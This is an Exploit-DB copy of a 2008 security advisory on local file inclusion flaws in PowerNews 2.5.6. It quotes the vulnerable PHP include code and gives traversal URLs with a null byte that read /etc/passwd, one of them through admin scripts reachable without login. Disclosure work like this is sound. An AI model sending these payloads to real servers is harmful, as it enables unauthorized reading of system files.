PowerNews 2.5.6 - Local File Inclusion

Author: DSecRG
type: webapps
platform: php
port: 
date_added: 2008-02-07 
date_updated: 2016-11-14 
verified: 1 
codes: OSVDB-41738;CVE-2008-0742;OSVDB-41737;OSVDB-41736;OSVDB-41735;OSVDB-41734;OSVDB-41733;OSVDB-41732 
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.compowernews256.zip

Digital Security Research Group [DSecRG] Advisory       #DSECRG-08-014


Application:                    PowerNews (Newsscript)
Versions Affected:              2.5.6
Vendor URL:                     http://www.powerscripts.org/
Bug:                            Multiple Local File Include
Exploits:                       YES
Reported:                       01.02.2008
Vendor Response:                none
Solution:                       none
Date of Public Advisory:        08.02.2008
Authors:                        Alexandr Polyakov, Stas Svistunovich
                                Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)



Description
***********

PowerNews (Newsscript) has Multiple Local File Include vulnerabilities.


1. Local File Include vulnerabilities found in scripts:

pnadmin/categories.inc.php
pnadmin/news.inc.php
pnadmin/other.inc.php
pnadmin/permissions.inc.php
pnadmin/templates.inc.php
pnadmin/users.inc.php

Non-authentication user can directly access to this scripts.

Code
****
#################################################

  if ($_GET[subpage]) {
    if (file_exists($_GET[page]."_".$_GET[subpage].".inc.php")) {
      include($_GET[page]."_".$_GET[subpage].".inc.php");
    } else {
      ?><center><?PHP echo L_ALL_SUBPAGENOTFOUND; ?></center><?PHP
    }
  } else {

#################################################

Example:

http://[server]/[installdir]/pnadmin/categories.inc.php?subpage=../../../../../../../../../../../../../etc/passwd%00


2. Local File Include vulnerability found in script pnadmin/index.php in admin area.

Administrator can include local files.

Code
****
#################################################

    if ($pnloggedin != "YES") {

      include("login.inc.php");

    } else {

      if (!$_GET[page]) { $_GET[page] = "main"; }
      if (file_exists($_GET[page].".inc.php")) { include($_GET[page].".inc.php"); } else {

#################################################

Example:

http://[server]/[installdir]/pnadmin/index.php?page=../../../../../../../../../../../../../etc/passwd%00



About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact:        research [at] dsec [dot] ru
                http://www.dsec.ru (in Russian)

# milw0rm.com [2008-02-08]